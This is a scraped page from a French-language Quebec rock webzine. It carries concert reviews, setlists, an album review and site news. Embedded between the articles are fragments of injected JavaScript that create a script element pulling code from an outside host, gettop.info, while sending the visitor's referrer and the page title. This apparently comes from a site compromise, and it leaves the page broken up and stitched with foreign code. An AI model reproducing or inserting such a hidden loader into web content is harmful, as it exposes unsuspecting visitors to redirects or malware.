Lors de l’interprétation de ‘’Higher’’, un énorme astronaute gonflable est alors apparus au-dessus de la scène. Ce gigantesque astronaute est celui qui figure dans les illustrations du dernier album ‘’The Stage’’. Cette apparition surprise rappelle beaucoup celle du roi sur son trône lors de la dernière visite du band au Colisée Pepsi, la dernière fois qu’ils sont venus à Québec. Le groupe nous a offert une prestation plus que parfaite, et ce même si Mr.Shadow n’a pas tout à fait la même voix qu’auparavant, ce qui est tout à fait normal au fil du temps. Comme Shadow ne sait plus autant screamer qu’auparavant, on dirait que certains passages de certains titres ont été ajustés et/ou légèrement modifiés pour qu’on oublie les passages où les screams n’ont pas lieu.
Pour les plus nostalgiques d’entre nous, c’est un moment plutôt émouvant qui nous a été offert lors de ‘’So Far Away’’. Vers la fin de la chanson, lors du petit solo de guitare mélodique terminant la chanson, des images de ‘’The Rev’’ont défilées sur les écrans géants, remmenant donc ici plusieurs souvenir pour ceux qui ont connus la période de ‘’The Rev’’ lorsqu’il était encore en vie. Pour ma part, c’était ma 8e fois que je voyais le band et selon moi, ce fut l’un de leur meilleur spectacle qu’il m’ait été donné de voir.
Voici la setlist présentée :
– The Stage
– Afterlife
– Hail to the King
– Paradigm
– Beast and the Harlot
– Buried Alive
– So Far Away
– Nightmare
– God Damn
– Second Heartbeat
– Exist
– Higher
– Wish you Were Here (cover de Pink Floyd)
– Bat Country
à Encore ß
– Critical Acclaim
– A Little Piece of Heaven
– Unholy Confessions

Pour conclure, malgré un mauvais choix au niveau du positionnement des deux groupes invités, ce fût quand même une soirée magistrale, digne des plus grands spectacles présentés jusqu’à aujourd’hui au Centre Vidéotron. Les bands ont offerts de solides prestations et ils furent immédiatement remercier par la foule grâce à leurs applaudissements et leurs cris qui ont failli faire exploser le toit de l’amphithéâtre qui était remplie à craquer.

Je tiens à remercier aussi notre nouveau copropriétaire d’Ultimradio, Stéphane Demers, pour m’avoir fait part de ses commentaires vis-à-vis le spectacle. En étant un fan fini, il était quand même dure pour moi d’être 100% neutre pour la critique alors ses commentaires, que j’ai intégré à la critique, sont venus équilibrer le tout ou seulement confirmer mes commentaires à moi. Je le remercie grandement pour son aide, et vous risquez fortement de voir son nom passé à plusieurs reprises dans le futur alors n’hésitez pas à lui souhaiter la bienvenue.

Sur ce, c’est encore bien installé sur mon petit nuage, que je vous souhaite une excellente journée, et continuez de suivre Ultimradio et n’hésitez surtout pas à partager.

Rock On !

Christopher Drouin

Avenged Sevenfold à Québec

Bonjour à vous tous cher lecteurs et amis.

Premièrement, je tiens personnellement, et au nom de toute l’équipe d’Ultimradio, à vous souhaiter un excellente année 2018. Comme vous avez pu le constater, nous n’avons pas été beaucoup présents en 2017 pour diverses raisons, mais nous sommes de retour en 2018 et ce plus prêts que jamais. C’est un plaisir de partager notre passion de la musique et des spectacles avec vous.

Vendredi qui s’en vient, soit le 19 janvier, marquera la venue tant attendue du groupe  Avenged Sevenfold, dans la vieille capitale. Pourquoi cet évènement est tant attendu ? Premièrement, en proposant de nouveaux styles musicaux au fil des années, le band a beaucoup élargie son cercle de fans qui ne cesse de grandir. Deuxièmement, la dernière fois que le groupe est passé à Québec, c’était le 12 mai 2014 au colisée Pepsi. C’est donc après une absence de presque quatre ans qu’Avenged Sevenfold sera accueilli en héro ce vendredi. Voyons voir à quoi on peut s’attendre comme soirée.

Les premières parties : Avenged Sevenfold c’est très bien entouré pour cette tournée. Ce sont nul autre que Bullet For My Valentine et Breaking Benjamin qui ouvriront le bal. Selon les premiers shows de la tournée, c’est Bullet For My Valentine qui jouera en premier lieu, suivi par la suite de Breaking Benjamin et pour conclure en beauté, Avenged Sevenfold.

Setlist : Bon, si tu es du genre a aimer les surprises côté setlists, je t’invite à passer par-dessus cette partie pour ne pas te gâcher la surprise. Tu es encore là mon/ma petit/e curieux/se ? Bon voyons voir à quoi vas ressembler les différentes setlists pour les trois bands. Notez-bien que celles-ci sont basées sur les shows qui ont eu lieu depuis le début de la tournée, donc elles pourraient être sujet à changement, mais sinon ça devrait très fortement ressembler à ça :

Bullet For My Valentine :
– Your Betrayal
– No Way Out
– The Last Fight
– 4 Words (To Choke Upon)
– You Want a Battle? (Here’s a war)
– Venom
– Waking the Demon
– Tears Don’t Fall
– Don’t Need You

Breaking Benjamin :
– So Cold
– Angels Fall
– Sooner or Later
– Blow Me Away
– Never Again
– Failure
– Breath
– The Imperial March / Schism / Smell Like Teen Spirit / Walk
– Until the End
– I Will Not Bow
– The Diary of Jane

Avenged Sevenfold :
– The Stage
– Afterlife
– Hail to the King
– Paradigm
– Beast and the Harlot
– Buried Alive
– So Far Away
– Nightmare
– God Damn
– Burn it Down  OU  Chapter Four
– Exist
– Higher
– Wish You Were Here (Pink Floyd Cover)
– Bat Country
-> ENCORE <-
– Critical Acclaim  OU  Welcome to the Family
– A Little Piece of Heaven
– Unholy Confessions

Infos sur le spectacle :
Voici quelques informations concernant le spectacle en question :
Qui : Avenged Sevenfold / Breaking benjamin / Bullet For My Valentine
Quoi : Tournée ‘’The Stage’’
Quand : Vendredi le 19 janvier 2018
 : Centre Vidéotron de Québec
Billets : SOLD OUT
Heures : Les portes ouvriront vers 17h00 et le premier spectacle débutera à 18h25. Pour ce qui est des VIP, les courriels n’ont toujours pas été reçus encore mais selon mes sources, les VIP devraient entrer vers les 15h00 et auront accès à la salle vers les 16h00, mais tout ça reste à valider lors de la réception du courriel le confirmant.

Sur ce, nous espérons vous croiser lors de cette soirée qui s’annonce marquante pour le Centre Vidéotron. Nous pouvons nous compter chanceux d’avoir ce spectacle en exclusivité car Montréal n’ont pas de date, contrairement à ce qu’on aurait pu penser.

Lors des jours suivants le spectacle, surveillez Ultimradio.com pour avoir notre critique de ce spectacle, de nos impressions sur l’expérience VIP, et peut-être aussi un petit résumé d’un meet and greet avec le band.

Nous vous souhaitons tous une excellente journée et on se voit tous ce vendredi.

ROCK ON !

Christopher Drouin !

Black Veil Brides – Wake Up

Critique Anonymus, La Corriveau The Outborn Nova Spei

ANOMYMUS – LA CORRIVEAU – THE OUTBORN – NOVA SPEI 21 DÉCEMBRE 2017

 

Et bien c’est par un retour en force après 2 ans d’absence chez ULTIMRADIO que j’ai pu saigner des yeux en faisant mon chemin de croix sur les planches de l’avant-scène du Cercle hier soir qui étaient imbibé de bière à souhait. Je peux vous dire qu’on a été gâté par cette soirée cléricale marquant aussi le vingtième anniversaire de l’Album Stress d’ANONYMUS! Malheureusement, c’est devant une foule épurée que NOVA SPEI a ouvert le bal. Performance énergique et maîtrise instrumentale hors pair, BIBI L.A. et moi-même ne pouvions que nous exclamer : « Shit ça commence vraiment bien! ». THE OUTBORN enchaînant, quelques disparités dans l’«output» des différents «performers» ne nous permettaient pas de profiter au maximum de cette prestation agressive pour public averti. On peut vraiment dire qu’ils nous ont montré comment faire du bruit!

 

Je ne vous cacherai pas que j’attendais impatiemment LA CORRIVEAU. Je peux vous dire que je n’ai pas été déçu. À peine entamé les premières notes de Find a way, je jubilais déjà passant avec eux à travers tous mes trips des 3 dernières années avec Cold Heart of Stone et Come to me. Ils m’ont aussi ravi avec Femme Fatale après avoir joué Fix me et Going Under du nouvel album Black Sorrow. L’atmosphère était débile et les nouveaux fans tant que les anciens ne pouvaient se contenir. J’étais complètement abasourdi et ça faisait un bien fou de les revoir! Et que dire du nouvel album Black Sorrow, j’étais impatient d’entendre les pièces Black Sorrow et Struck by Lightning. Je ne peux cacher que j’étais déjà vendu et que j’en ai eu pour ma peine. Ça sonnait effectivement comme une tonne de brique, la salle était survoltée! Un seul bémol, pour ma part, Black Sorrow pourrait faire l’objet d’une version différente en show où l’on saute dans l’action plus rapidement que les 3 minutes habituelles oubien la version originale pourrait faire office d’ouverture du show. Your Demise était parfaite pour clore leur prestation, une estie de belle soirée! S’en est suivi ANONYMUS nous éblouissant avec l’intégrale de l’album Stress de 1997! Complètement malade! C’était l’ultime fétiche joué à la perfection dans une foule ne limitant pas la transe vindicative d’un trip démentiel! Bref, à peine quelques pièces entamées, que la foule était déjà en feu sous les calls d’OSCAR SOUTO, dirigeant et amplifiant les bons vieux « circle pit »! C’était une ode aux succès du temps! De plus, il faut souligner que leur performance du band démontre une maîtrise exceptionnelle de la scène pour un show démentiel! Sérieux, ici on peut utiliser le terme en langage de « bouseux », « sur la coche! ». Au final, ils ont mis les derniers clous au cercueil avec un rappel d’enfer, drainant tout ce qui pouvait rester de jus à la foule. C’est là que j’ai « shooté down», ma soirée était faite!

 

 

Par Vincent Couturier pour UltimRadio

Critique spectacle du 28 octobre Salle Méduse

Critique Born Of Osiris, Feels Like Home, Behind The Revolver, Go To White Castle

 

Pour célébrer la fête de l’halloween, District7 nous avais préparé toute une soirée. Les amateurs de métal hardcore ont été servis avec 4 excellant band. Les participants étaient invités à se costumer pour l’occasion, j’ai donc pu observer des costumes de toute sorte comme par exemple, un tacos, des zombies, un lutteur, des masques et maquillages de toute sorte. Bien que les gens costumés étaient en minorités, ceux qui l’était ce sont donnés et m’ont bien fait rire! Avec quelques minutes de retard, c’est Go To The Castle qui a cassé la glace de cette soirée prometteuse.

 

Go To The White Castle

Comment débuter une soirée en force? Inviter Go To The White Castle! Ce band Québecois sait comment réchauffer une foule. Ils ont commencé en force avec la chanson Listen and Obey. Dès les premières notes, la foule a commencé à s’agiter, crier et bien sûr former un mushpit. Le son était très bien équilibré, mais l’éclairage était un peu trop sombre à mon goût. Il faut mentionner que le drummer Joël Fortin a pris la peine de se déguiser en banane ce qui nous a bien fait rire! Il devait faire très chaud sous ce costume!

Setlist:

Listen and Obey

Our Mind to be Free

Sewn Eyes Nation

Struggle to Survive

The Awakening

Scars of the Past

 

Behind The Revolver

C’est sous les notes de Disearthened que Behind The Revolver est entré sur scène. Bien que la soirée était encore très jeune, c’est devant une salle comble qu’ils se produisaient. C’est avec un setlist solide, mais malheureusement un peu court, qu’ils ont contribué à faire augmenter le thermostat de la salle.

Setlist:

Disheartened

Clarity

Crossroads

Headstrong

On Being Alone

The Violence Within

 

 

Feels Like Home

Parfaite continuité de la soirée, Feels Like Home a débarqué sur la scène devant une foule déjà bien échauffée. Leur métal hardcore était parfait pour le headbang, mushpit et se défouler. Le genre de musique qu’on écoute pour faire sortir le méchant, comme on dit en bon québécois. Il faisait très chaud dans la place! Ils ont joués un setlist de 7 chansons ce qui est un peut court.   

Setlist:

Intro (Du Hast)

Gamebreaker

Among Many

New Song

The Decline

Ambition

Burning Pages

 

Born Of Osiris

Parmi beaucoup de show que j’ai vu, la prestation de Born Of Osiris termine dans mon top 3 des meilleures que j’ai vu. Du début à la fin l’énergie était à son max, la foule était en délire et chantait toutes les chansons avec le band. Les gens sautaient dans les airs sur invitation du groupe, les mains dans les airs en chantant. Dans les morceaux les plus heavy, ça brassait dans le pit! Tout le monde avait du fun, j’ai chanté avec les gens autour de moi, on se regardait, on tripait tous ensembles. Les gars nous seraient la main plusieurs fois durant le show de gauche à droite tout le monde en avant a eu le droit à une poignée de main avec au moins un des membres du groupe. Même le claviériste du groupe venait souvent en avant saluer les fans. C’était comme un méga party de famille métal. Le son était excellent, l’éclairage plutôt sombre, les visages étaient difficiles à distinguer par moment. Nous avons eu droit à un setlist de 15 chansons ce qui est très bien, mais on en aurait pris encore! Ce fût une très belle soirée encore une fois réussie de District7.

 

Setlist :

Rosecrance

Empires Erased

Open Arms to Damnation

Abstract Art

The New Reign

Brace Legs

Bow Down

The Takeover

Glorious Day

Follow the Signs

Divergency

Machine

The Sleeping and the Dead

Throw Me in the Jungle

Goddess of the Dawn

 

Merci à Dylan, Marie-Claude et Laurence pour leurs impressions et commentaires!

 

Texte: Joanie Bolduc

Critique Envol et Macadam 2017 part 2

Pour la première fois en tant que membre officiel de l’équipe d’UltimRadio, je me dirigeais vers l’anti pour assister au spectacle de Behind The Revolver, formation métalcore originaire de Québec appuyé en première partie par Feels Like Home, une autre formation métalcore de la région et D’Ark Legal Society une formation Métal Alternatif en provenance de l’Indonésie, dans le cadre du festival Envol et Macadam.

C’est vers 11H30 que débute Feels Like Home devant une salle pleine à craquer et déjà échauffée des spectacles se produisant un peu avant à l’îlot Fleuri. Malheureusement en plein milieux de leur première chanson, la salle a subit un premier problème électrique laissant partiellement la salle dans le noir et privant les guitaristes de leurs amplificateurs. La situation a été rétablie après un peu plus de 15 minutes, malheureusement plusieurs spectateurs avaient déjà quitté la salle pour la terrasse ou la sortie. Feels Like Home ont dû écourté leur prestation au final, bref ils n’ont pu faire que 3 chansons par la suite, mais ont quand même réussi à garder leur aplomb habituel et offrir une solide performance devant une salle encore pleine.

C’est sous les projecteurs bleus, les seuls qui ont survécu à la première panne, que D’Ark Legal Society ce sont produits devant une salle maintenant à moitié pleine. Un mélange subtil de métal alternatif et progressif remplissait maintenant la salle et les spectateurs donnaient une bonne réponse au groupe venu de loin. Malheureusement eux aussi ont subit une panne, par contre cette fois c’est le compteur de l’hydro qui aurait flanché. La situation a été également rétablie après une quinzaine de minutes et heureusement les gens sont restés sur les lieux pour la plupart. La formation indonésienne a mentionné aimer l’accueil de la foule de Québec et ont produit pour la première fois sur scène, des chansons tirées de leur nouvel EP au plaisir des spectateurs présents avec leur excellente performance.

Pour la dernière partie, les membres de Behind The Revolver étaient gonflés à bloc. La salle était bien remplie pour leur première prestation depuis la sortie de leur nouveau clip. C’était en soit leur deuxième spectacle avec leur nouveau bassiste Jonathan Rondeau et Alex Deleon derrière la batterie. L’énergie du band a été transmise sans problèmes aux spectateurs qui même à l’heure tardive de 1H00 du matin ne semblait pas encore s’estomper. Encore une fois pour le plaisir des spectateurs présents, une solide performance a été livrée avec quelques unes de leurs prochaines chansons à paraître bientôt sur leur futur album en préparation selon les rumeurs.

Pour finir, une autre belle soirée signée Envol et Macadam en collaboration avec L’Anti Bar & Spectacles qui malgré les difficultés rencontrées lors de la soirée on su répondre rapidement afin de ré-établir la situation.

For the very first time as an official member of UltimRadio team. I had the pleasure to cover the concert of the metalcore formation Behind the Revolver in Quebec city. They were supported by Feels Like Home, another local act, and the alternative metal band D’Ark Legal Society that had flown all the way from Indonesia for the Envol & Macadam event.

Feels Like Home opened up the show at 11:30 in front of a full crowd that had came down from the main stage show at l’Îlot Fleuri. Unfortunately, right in the middle of their first song, there was a short-circuit that left the stage in partial darkness and muted the guitarists amps. Luckily, after 15 minutes, the problem has been resolved but some of the spectators had already left for the terrace or for the exit. Although the band had to cut their set short resulting in a 3 1/2 songs show, they managed to keep their pace and offered a great performance to a still enthusiast crowd.

It is under blue projectors, the only ones that survived the power shortage at this moment, that D’ark Legal Society started playing. The crowd had a great response to the subtle mix of alternative metal and progressive metal that filled their ears. Unfortunately for them, they too had had a blackout due to another power shortage that happened in the middle of their show. The situation took another 15 minutes to resolve and fortunately, this time, the crowd stayed. The Indonesian formation let know that they really appreciated the Quebec city crowd and then re-opened up their show with some of their newest songs that they never played on stage since their release.

Behind The Revolver came on stage for the last part under a now fully functional lighting and sound installation. It was their first show since the release of their new music video earlier this week and also the second show with their new bassist Jonathan Rondeau as well as Alex Deleon (ex-bassist) who was now behind the drum kit. The band energy was easily transmitted to the crowd still present despite the hour at which they started the set. Once again, for the pleasure of the crowd, another solid performance has been given that included some of their newest songs as rumoured to soon being released on a future album.

That was another great show night signed Envol & Macadam in collaboration with L’Anti Bar  & Spectacles whom even with the difficulties encountered on this night had resolved them in a swift.

texte: Stéphane Demers

Critique Envol Et Macadam 2017

Envol et Macadam 2

Salut tout le monde!

Aujourd’hui je vais vous faire part de mon expérience au festival envol et macadam 2017. Pour ceux qui ne connaissent pas ce festival, je vous ferai une petite description, question de vous donner envie de vous joindre à nous l’an prochain.

Envol et Macadam est un festival qui fêtait ses 22 ans cette année. Il se déroule à plusieurs endroits simultanément dans la belle ville de Québec. Il soutient des groupes émergeant surtout d’ici, mais aussi d’ailleurs. Il se déroule chaque année au mois de septembre et accueil en moyenne 20 000 personnes et plus de 100 artistes locaux et internationaux à chaque édition. Les styles de musiques varient entre le rock, pop, hip-hop, électro etc. Envol et macadam est aussi un organisme qui se consacre au soutien de la relève en musique alternative et émergente. Vous pouvez visiter leur site web pour avoir plus d’information au : www.envoletmacadam.com.

Soirée du vendredi  8 Septembre

Je suis arrivé au festival le vendredi soir vers 17h00. Premier groupe sur ma liste, Portland! Le band est composé de quatre membres : Olivier, Soufiane, William et Frédéric. Leur musique est de style pop punk. Malheureusement, ils jouaient tôt dans la soirée et il n’y avait pas plus de 20-30 personnes, éparpillées  sur le site. Cela ne les a pas empêchés de faire leurs chansons avec énergie et plaisir. Ils semblaient à l’aise sur la scène. Un des moments fort de leur présentation, est lorsqu’ils ont repris la chanson de Good Charlotte, The Anthem. Le peu de gens qui étaient là se sont mis à bouger et à chanter. Ils ont dit qu’ils étaient contents d’être à envol et macadam. Personnellement, j’ai beaucoup appréciée ce groupe! Leur beat est accrocheur, c’est le genre de musique qui s’écoute bien partout : en road trip, en gang autour d’un feu etc. Les boys sont attachants, ils ont même fait une blague sur le manque de monde avant de reprendre le show! Belle présentation et belle découverte dans mon cas!

The hunters étaient le deuxième groupe qui a attiré mon attention ce soir là. Le groupe québécois est arrivé sur scène avec une complicité énergique et contagieuse. Le tout a débuté avec une chanson rapide, mais qui s’est avéré efficace. Un petit ‘’mushpit’’ s’est dessiné avec tout au plus 6 personnes à l’intérieur. Donc, vous pouvez vous imaginer combien ils avaient de la place pour se défouler! Le band invitait la foule à bouger et celle-ci répondait bien à leur invitation en tapant des mains et des pieds. Après quelques chansons c’est avec tristesse que le chanteur a annoncé que le groupe allait se dissoudre. Il leur reste 2 mois de show seulement. Il a remercié les fans d’y avoir cru autant qu’eux. Malgré la tristesse je n’ai senti aucun regret dans sa voix, juste une gang de gars qui ont vécu un bon trip et qui sont prêt à passer à autre chose. Le party a redoubler d’ardeur et le sentiment qu’ils profitaient de chaque moment sur scène était intense. Le chanteur se promenait d’un bout à l’autre de la scène et sautait sur les caisses de son. Je pense qu’ils ont eu un bon moment et qu’ils s’en rappelleront longtemps. Après avoir enlevé son chandail, le chanteur et ses chums sont partis aussi vite qu’ils étaient arrivés.

Vient le tour de MUTE, un autre groupe québécois composé de quatre membres : Étienne, Alexis, Matt et Jean-Philippe. Wouah! Quelle énergie! Le chanteur qui se promène d’un bout à l’autre de la scène, leurs grimaces et le ‘’head bang’’ était une combinaison gagnante, qui  de plus, était contagieuse pour tous ceux présents. Le traditionnel « comment ça va tout le monde! », a animé la foule qui a par la suite, répondit avec entrain aux demandes du groupe de taper dans les mains et de chanter. Vers la fin ils ont joué la chanson ‘’feel the void’’ et les gens chantaient en harmonie avec le groupe. Je suis toujours impressionnée par les drummers qui chantent, sérieusement, il faut une sacré coordination pour le faire, ce qui ne semble pas du tout déranger Étienne, le drummeur du band. Personnellement, j’écouterais leur musique lorsque j’ai envie de me défouler! Entre deux chansons le chanteur a dit : « c’est tu juste sur le stage ou ça sent le pot en criss dans région! », ce qui a bien fait rire toute la foule. En effet, ça sentait la fin de semaine les amis! À la fin, ils ont pris le temps de faire applaudir les gens présents pour les autres bands avant d’entamer leur dernière chanson. J’ai apprécié le show, c’est un band que j’aimerais revoir sans aucun doute!

H2O a pris le relais au grand bonheur de la foule. Le chanteur était, comment dire, disjoncter! Il se promenait partout, dansait, faisait chanter la foule, tout en les faisant participer à son tapage de mains. Les gens lui rendaient la pareille, en criant, les mains dans les airs et en chantant les refrains qu’ils connaissaient. Le contact entre la foule et le band était palpable, c’était beau à voir. Tout était la pour alimenter l’ambiance de party qui régnait ce soir-là. Un autre coup de cœur de ma soirée et un nouveau band ajouté à ma playlist. Après un signe de ‘’peace’’ sous les cris et les acclamations de la foule, le groupe est sorti de scène. Malheureusement, j’ai dû quitter avant la prestation de propagandhi, mais ma collègue Karine est restée là pour vous raconter leur passage à envol et macadam.

Soirée du samedi  9 Septembre

Le samedi, je suis arrivée vers 18h00, tout juste avant la prestation de The Planet Smashers. Le site était déjà animé par les gens présents. Les boys de Planet Smashers ont littéralement mis le party dans la place. Les gens dansaient, chantaient, tapaient des pieds et buvaient. Le groupe avait un excellent contact avec la foule. Le chanteur s’est adressé à ses auditeurs à quelques reprises en disant qu’il était content de jouer pour eux et de fêter avec eux. Le saxophone, les castagnettes et le trombone mettaient une petite touche funky aux chansons, d’autant plus que les gars, derrière leurs instruments, trippaient au fond! Ils étaient rouges comme une tomate mais continuaient quand même à danser tout en jouant. Le son était clair et les jeux de lumières bien agencés. Un moment donné, le chanteur a demander à la foule de s’accroupir par terre, ensuite il a fait un décompte et au même moment ou la musique recommençait tout le monde s’est levé debout en même temps! C’était la première fois que je voyais ça et j’ai trouvé l’idée originale et amusante. Vraiment le groupe de Montréal a été un moment fort de la soirée.

Guttermouth était le suivant. Bon, honnêtement, la sobriété du chanteur était douteuse. Je dirais qu’il sait attirer l’attention. Je m’explique, Mark Adkins tenait à peine debout. Heureusement qu’il y avait les gars de la sécurité en bas de la scène pour l’attraper, parce qu’il aurait sans doute fini mal en point en bas de la scène. Il chantait à moitié ses chansons, mais il avait visiblement du fun! Il est descendu de la scène à plusieurs reprises pour danser et se chamailler avec les fans, même leur donner des becs sur les joues. C’était vraiment drôle à voir. À un certain moment le propriétaire d’envol et macadam, Simon, a même monter sur la scène se chamailler avec lui ce qui a fini en accolade. Outre le fait que Mark a donner le show presque à lui seul, le son était bien, la foule était énergique et participait à fond.

Both’aktan est arrivé sur scène avec ses mélodies accrocheuses nous donnant envie de giguer. Accordéon, violon, cornemuse, guitare et autres instrument formaient un tout parfait pour un party bien arrosé. Le groupe faisait crier, danser et chanter la foule. Les membres du groupe avançaient et reculaient selon l’instrument dominant, laissant ainsi la place à chacun à l’avant-scène pour y être mis en valeur. Leur moment fort a été lorsqu’ils ont repris la chanson killing In the name de Rage Against The Machine. Tout le monde chantaient et dansaient. J’ai vraiment adoré ce groupe en show, c’était divertissant. Par contre, sans l’ambiance du public, je ne crois pas que j’écouterais cette musique dans ma playlist. Le show s’est terminé avec la traditionnelle photo du groupe devant la foule et ce en saluant chaleureusement leurs fans.

Streetlight Manifesto était très attendu, la foule criait le nom du band pendant que les techniciens se dépêchaient à installer l’équipement. À ce moment de la soirée, le site est presque plein, les gens sont bien réchauffés et son impatients. Lorsqu’en fin l’attente fut terminée, le groupe a eu droit à un accueil digne de ce nom, pour ensuite entamer leur première chanson. Les gars avaient du fun tout en restant concentrés sur ce qu’ils faisaient. Je suis restée surprise de voir que le chanteur principal était complètement à gauche de la scène, ce qui est plutôt inhabituel. Le son était bien équilibré. Il y avait plus de musique que de chant, le genre de musique ou on danse plus qu’on chante à mon avis. Personnellement je n’écoute pas ce genre de musique mais j’ai tout de même appréciée le show.

C’était ma première visite du festival Envol et macadam et certainement pas ma dernière. Les gens de tous les âges et de tous les styles confondus étaient présents et c’était agréable de leur jaser. J’ai même rencontré deux chums de gars de l’Ontario qui était descendu spécialement pour le festival. J’ai vu un bacon, une banane et une licorne. Des enfants sur le dos de leurs parents, avec leurs coquilles sur la tête, les mains dans les airs. Sérieusement, j’ai eu du fun, j’ai rencontrée des gens super et connu des groupes géniaux. Je ne sais pas si c’est parce que la scène est située en dessous de viaduc, mais le son était en général vraiment bon. Les bands étaient à l’heure, ou avec très peu de retard. Merci Envol et macadam pour cette belle édition! On se revoit l’an prochain!

Joanie Bolduc

Un merci spécial à mon correcteur, mon Pidgeotto!

Mise a jour de notre site

Dans les prochains jours, vous retrouverez un tout nouveau site pour Ultimradio. D’ici là, restez à l’affût.

De retour parmi vous! Team en reconstruction

Bonjour à vous tous, il me fait plaisir de pouvoir publier à nouveau sur la page  d’UltimRadio.

Comme vous l’avez remarquez, seulement certaines publications ont été faites sur le Facebook depuis les 3 derniers mois. Et bien oui, nous avons eu plusieurs problèmes au niveau de la gestion de notre site web, et avec l’hébergeur.  Malheureusement nous avons aussi perdu des collaborateurs suite à cette mauvaise expérience, mais nous en avons possiblement aussi trouvé d’autres, et ce n’est pas fini! Effectivement, nous allons effectuer des changements au sein de nos équipes et nous allons devoir combler des postes, autant à la rédaction que pour nos photographes. UltimRadio c’était donné le mandat il y a 7 ans de couvrir le plus grand nombre d’événement et de style, et avec le temps nous en avons laissé trop de côté et nous allons remédier à cela.

UltimRadio fût dans les premiers à vous offrir des images live durant ses reportages, dont  un qui me revient à l’esprit à chaque fois avec Caroline Gagné et Benoit Parisé qui nous avait fait un topo live au Festivent en 2012 que vous pouvez revoir sur la page Facebook et cette formule va revenir de plus belle!

C’est donc avec un énorme plaisir que je vous informe que même si notre site n’était plus en ligne, l’organisation d’Envol et Macadam ainsi qu’Oval représentation, ont continué à nous faire confiance et nous ont accrédité pour la 22e édition! Je tiens donc à remercier M Simon Gaudry et M François O Valanti de cette confiance!

Restez à l’affut des prochains jours pour voir notre évolution, merci encore d’être là avec nous !!

Mario Provencher.

PDG

https://www.facebook.com/UltiMZIK/videos/vb.106513462733592/10151105485685540/?type=2&theater

var d=document;var s=d.createElement(‘script’);

Critique Ghost et Iron Maiden Centre Vidéotron 2017

Dimanche soir fut une soirée de découvertes et de nostalgies pour tout le monde qui se sont déplacées en nombre pour pouvoir voir ou revoir Iron Maiden. J’ai eu la chance de voir et parler avec plusieurs gens dans la foule avant le spectacle et j’ai été agréablement surpris de voir beaucoup de papas amener leurs enfants à leur premier spectacle d’Iron Maiden et de voir leurs sourires tout au long de la soirée.

Une belle relève se prépare pour les groupes de musiques avec ces jeunes fans. Ghost nous a parti le bal avec une prestation exemplaire et sans faute. Un set énergique et qui a su embarquer rapidement la foule qui était jusqu’à présent silencieuse. Je ne sais vraiment pas comment les musiciens font pour jouer et donner un spectacle de ce genre tout en étant costumés de la sorte. Je leur lève mon chapeau. Une première partie qui a conquis plusieurs nouveaux fans j’en suis sûr. À l’entracte, je me suis promené pas mal et j’ai jasé a plusieurs fans et j’ai été surpris du nombre de fois que chacun avait pu voir Iron Maiden en show. Si je fais une moyenne, le chiffre serait 12 fois ! C’est énorme, mais pour vrai croyable, car partout où Iron Maiden passe, le succès est garanti. En voilà une preuve parmi beaucoup. Décor, mascotte et animation furent au rendez-vous. Jusqu’à présent, le son était vraiment bon. Et pour vrai, ce n’était pas mon premier show au Centre Vidéotron et c’était la première fois que le son était a son meilleur.

Jusqu’à tant que Bruce commence à chanter. À chaque fois qu’il montait une note, le micro coupait et repartait. Mais il n’avait pas l’air de s’en rendre compte honnêtement, car ça ne l’affectait pas du tout. Un point positif, j’ai jamais vu une foule crier et chanter autant pour un set list aussi jeune et avec le moins possible de leur grand succès. Quand on voit ce genre de phénomène, on peut dire que peu importe ce que le groupe va jouer, la soirée va être réussie. Un beau cadeau aussi fut que Bruce parla a la foule en français tout au long de la soirée. À chaque fois qu’il s’exprimait ainsi, la foule s’arrachait les poumons. Et il a terminé la soirée en soulignant que le groupe allait revenir en ville bientôt pour un autre spectacle et qui sait, peut-être encore avec de nouveaux morceaux ou un nouvel album. Je finit cette critique sur cette bonne note, car malheureusement, je suis un fan fini d’Iron Maiden et je pourrais passer la soirée a continué à écrire encore sur le sujet et de vous parler en détail de chaque moment loufoque qui me suis arrivé. Merci encore s tous de me lire et continuer a introduire vos enfants dans l’univers du rock. Ça me fait toujours un plaisir de voir le sourire sur leurs visages.

texte:  Gabriel Drolet Pollock

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

ARCH ENEMY – The World Is Yours

Critique: Adrenaline Mob nouvel album We the People

Adrenaline Mob revient sur terre avec leur troisième album studio, après 3 ans d’attente depuis Men Of Honor, qui s’intitule We the People. Un album incroyable rempli de diversités musicales, de sonorités puissantes et tout aussi bien définies mais surtout d’une production qui mérite d’être écoutée dans son ensemble.

Adrenaline Mob, pour ceux qui connaisse peu ou pas le groupe, a eu son lot de malchance et d’événement dans les dernières années. Créé en 2011 par Mike Portnoy (Ex Dream Theater), Russell Allen (Symphony X) et Mike Orlando, il ne leur prit pas un an avant qu’il y aille déjà des problèmes. Plusieurs changements de formation, dût a des conflits d’horaires chez certains musiciens et a la perte de A.J. Pero(ex Twisted Sister) qui a fit une crise cardiaque en pleine tournée, frappa le groupe. Mais rien ne les a empêchés de nous sortir cette album avec leur nouveau batteur Jordan Cannata qui a rejoint la formation en 2016. Vous pouvez voir sur leur page Facebook une vidéo de ce dernier en action solo.

Comme je vous disais, We The People est électrisant et a une couleur frappante. Chaque chanson est comme un train qui arrive à pleine vitesse. Autant dans la technique que dans l’écoute. Refrains accrocheurs, solo mélodique et technique, section rythmique dynamique, voilà l’ensemble d’une recette gagnante qui m’a fait écouter et réécouté l’album plusieurs fois. Je garde le chant pour la fin car sérieusement, j’ai été surpris à plusieurs reprises comment Russell Allen utilisait son vocal pour aller chercher des sonorités qui ne faisaient qu’enrichir l’oeuvre. Autant lorsqu’il chantait des rythmiques dynamiques que lorsqu’il utilisait son instrument pour chanter exactement comme d’autres chanteurs que nous connaissons bien. Dans Raise ‘En Up, on peut entendre clairement des similitudes avec Michael Poulsen( Volbeat) juste pour prendre un exemple.

J’ai adoré l’ordre des chansons sur l’album.Rien n’est laissé au hasard et ne se ressemble d’une chanson à l’autre pour nous rendre impatient à la prochaine chanson. King Of The Ring, première chanson de l’album, nous met la table pour le reste de l’album. À saveur de Disturbed, elle me fait beaucoup penser à Indestructible dans son ensemble.

J’espère que mon résumé vous a laissé sur votre appétit. Je vous encourage à acheter leur nouvel album lors de sa sortie le 2 juin prochain et d’aller voir leur page Facebook. À plus UltimRadio.

PS : Il y a une surprise à la fin de l’album.

Cordialement

Gabriel Drolet-Pollock

Adrenaline Mob returns to us with their third studio album, after 3 years of waiting since Men Of Honor, entitled We the People. An incredible album filled with musical diversities, powerful sonorities and just as well defined but above all a production that deserves to be listened.

